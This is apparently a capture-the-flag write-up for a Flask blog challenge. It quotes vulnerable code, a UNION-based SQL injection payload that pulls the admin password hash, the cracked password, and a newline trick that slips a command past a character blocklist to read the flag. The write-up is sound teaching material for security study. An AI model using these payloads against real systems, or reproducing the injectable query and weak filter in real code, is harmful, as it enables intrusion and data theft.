Weblog
Description
Web-LOG? We-BLOG? Webel-OGG? No idea how this one is pronounced. It’s on the web, it’s a log, it’s a web-log, it’s a blog. Just roll with it.
Author: @HuskyHacks
Solution
First Look
Taking a first look at application, we can see that there is a register page, a login page, and an account recovery page. We start by registering an account and logging in.
Register
Taking a look at the /register
endpoint, we can see that the application hashes the password using MD5 and stores it in the database. The application also checks if the username or email is already taken before creating a new user. Nothing seems out of the ordinary here.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@auth_blueprint.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form.get('username')
email = request.form.get('email')
password = hashlib.md5(request.form.get(
'password').encode()).hexdigest()
existing_user = User.query.filter(
(User.username == username) | (User.email == email)).first()
if existing_user:
flash("Username or email already taken.", "danger")
return redirect(url_for('auth.register'))
new_user = User(username=username, email=email, password=password)
db.session.add(new_user)
db.session.commit()
flash("Registration successful! You can now log in.", "success")
return redirect(url_for('auth.login'))
return render_template('register.html')
Login
Taking a look at the /login
endpoint, we can see that the application hashes the password using MD5 and checks if the username and password match a user in the database. If the user exists, the application sets the user’s ID, username, and role in the session and redirects to the dashboard. If the user does not exist, the application displays an error message. Again nothing seems out of the ordinary here.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@auth_blueprint.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form.get('username')
password = hashlib.md5(request.form.get(
'password').encode()).hexdigest()
user = User.query.filter_by(
username=username, password=password).first()
if user:
session['user_id'] = user.id
session['username'] = user.username
session['role'] = user.role
flash("Login successful!", "success")
return redirect(url_for('auth.dashboard'))
else:
flash("Invalid credentials. Please try again.", "danger")
return render_template('login.html')
Dashboard
Now we have access to the dashboard, where we can see a list of blog posts. We can also create new blog posts and search for blog posts given a search query.
Search
Taking a look at the /search
endpoint, we can see that the application takes a search query and searches for blog posts that contain the search query in the title. The application then displays the search results. The application also checks if the user is logged in before allowing them to use the search feature. We can see that the application uses string interpolation to build the SQL query, which is vulnerable to SQL Injection.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
@search_blueprint.route('/search', methods=['GET', 'POST'])
def search():
if 'user_id' not in session:
flash("You need to log in to use the search feature.", "danger")
return redirect(url_for('auth.login'))
query = request.args.get("q", "")
posts = []
if query:
try:
raw_query = text(
f"SELECT * FROM blog_posts WHERE title LIKE '%{query}%'")
current_app.logger.info(f"Executing Raw Query: {raw_query}")
posts = db.session.execute(raw_query).fetchall()
current_app.logger.info(f"Query Results: {posts}")
if not posts:
flash("No results found for your search.", "danger")
else:
flash(
f"Found {len(posts)} results for your search.", "success")
except Exception as e:
current_app.logger.error(f"Query Error: {e}")
flash(
f"An error occurred while processing your search: {e}", "danger")
else:
flash("Please enter a search term.", "info")
return render_template("search.html", posts=posts, query=query)
Vulnerable code snippet:
1
raw_query = text(f"SELECT * FROM blog_posts WHERE title LIKE '%{query}%'")
Further Analysis
By reviewing the entrypoint.sh
file, we can see that the application creates 2 users at startup: admin
and user1
.
1
2
3
4
5
-- Insert users and blog posts
INSERT IGNORE INTO users (username, password, email, role)
VALUES
('admin', MD5('admin_password'), 'admin@example.com', 'admin'),
('user1', MD5('user_password'), 'user1@example.com', 'user');
An admin user has access to the /admin
endpoint.
Admin
Taking a look at the /admin
endpoint, we can see that the application checks if the user has the role admin
before allowing them to access the admin panel. The application displays the number of users and blog posts in the database. The administrator is also able to execute commands on the server. The command given by the admin is validated to ensure that it starts with the default command and does not contain any disallowed characters. The application then executes the command and displays the output. If we pay close attention we realize that the disallowed characters are not a sufficient protection against command injection.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
...
DEFAULT_COMMAND = "echo 'Rebuilding database...' && /entrypoint.sh"
DISALLOWED_CHARS = r"[&|><$\\]"
@admin_blueprint.route("/admin", methods=["GET", "POST"])
def admin_panel():
if session.get("role") != "admin":
flash("Admin access required.", "danger")
return redirect(url_for("auth.dashboard"))
user_count = User.query.count()
post_count = BlogPost.query.count()
config_message = None
error_message = None
if request.method == "POST":
command = request.form.get("command", "").strip()
if not command.startswith(DEFAULT_COMMAND):
error_message = "Invalid command: does not start with the default operation."
elif re.search(DISALLOWED_CHARS, command[len(DEFAULT_COMMAND):]):
error_message = "Invalid command: contains disallowed characters."
else:
try:
result = os.popen(command).read()
config_message = f"Command executed successfully:\n{result}"
except Exception as e:
error_message = f"An error occurred: {str(e)}"
return render_template(
"admin_panel.html",
config_message=config_message,
error_message=error_message,
DEFAULT_COMMAND=DEFAULT_COMMAND,
user_count=user_count,
post_count=post_count,
)
Vulnerable code snippet:
1
2
3
4
5
6
7
8
...
if not command.startswith(DEFAULT_COMMAND):
error_message = "Invalid command: does not start with the default operation."
elif re.search(DISALLOWED_CHARS, command[len(DEFAULT_COMMAND):]):
error_message = "Invalid command: contains disallowed characters."
...
result = os.popen(command).read()
...
Exploitation
Let’s think about our chain of attack.
- Exploit the SQLi vulnerability on the
/search
endpoint to extract the admin password hash - Crack the hash to get the admin password
- Log in as the admin user
- Send a well-crafted command to the
/admin
endpoint to bypass the disallowed characters and execute arbitrary commands on the server - Read the flag
Sounds like a plan! Let’s get started.
Step 1: SQLi - Extract Admin Password Hash
We need 3 things to craft our SQLi payload:
- The number of columns in the
blog_posts
table - The
users
model - The query
The blog post model is defined as follows:
1
2
3
4
5
6
7
CREATE TABLE IF NOT EXISTS blog_posts (
id INT AUTO_INCREMENT PRIMARY KEY,
title VARCHAR(255) NOT NULL,
content TEXT NOT NULL,
author VARCHAR(255) NOT NULL,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);
So we know that the blog_posts
table has 5 columns: id
, title
, content
, author
, and created_at
.
The users model is defined as follows:
1
2
3
4
5
6
7
CREATE TABLE IF NOT EXISTS users (
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(255) NOT NULL UNIQUE,
password VARCHAR(255) NOT NULL,
email VARCHAR(255) NOT NULL UNIQUE,
role ENUM('user', 'admin') DEFAULT 'user'
);
The query:
1
f"SELECT * FROM blog_posts WHERE title LIKE '%{query}%'"
Now that we have all the information we need, we can craft a UNION based SQLi payload to extract the admin password hash. Our payload will look like this:
asdf' UNION SELECT id,username,password,password,null FROM users WHERE role='admin';-- -
We can send the following request to the /search
endpoint to extract the admin password hash:
Admin password hash: c1b8b03c5a1b6d4dcec9a852f85cac59
Step 2: Crack Admin Password Hash
We can use an online tool like CrackStation to crack the MD5 hash.
Admin password: no1trust
Step 3: Log in as Admin
We can now log in as the admin user using the credentials admin:no1trust
.
Step 4: Command Injection
We have to find a way to bypass the disallowed characters and inject arbitrary commands.
1
DISALLOWED_CHARS = r"[&|><$\\]"
Any ideas? 🤔
We can use the newline character \n
to separate the commands and bypass the disallowed characters check, thus executing arbitrary commands on the server.
We can send the following request to the /admin
endpoint to confirm the command injection vulnerability:
Note: %0A
is the URL encoded version of the newline character \n
.
Step 5: Read the Flag
We can now read the flag by executing the cat /app/flag.txt
command.
The flag is flag{b06fbe98752ab13d0fb8414fb55940f3}
.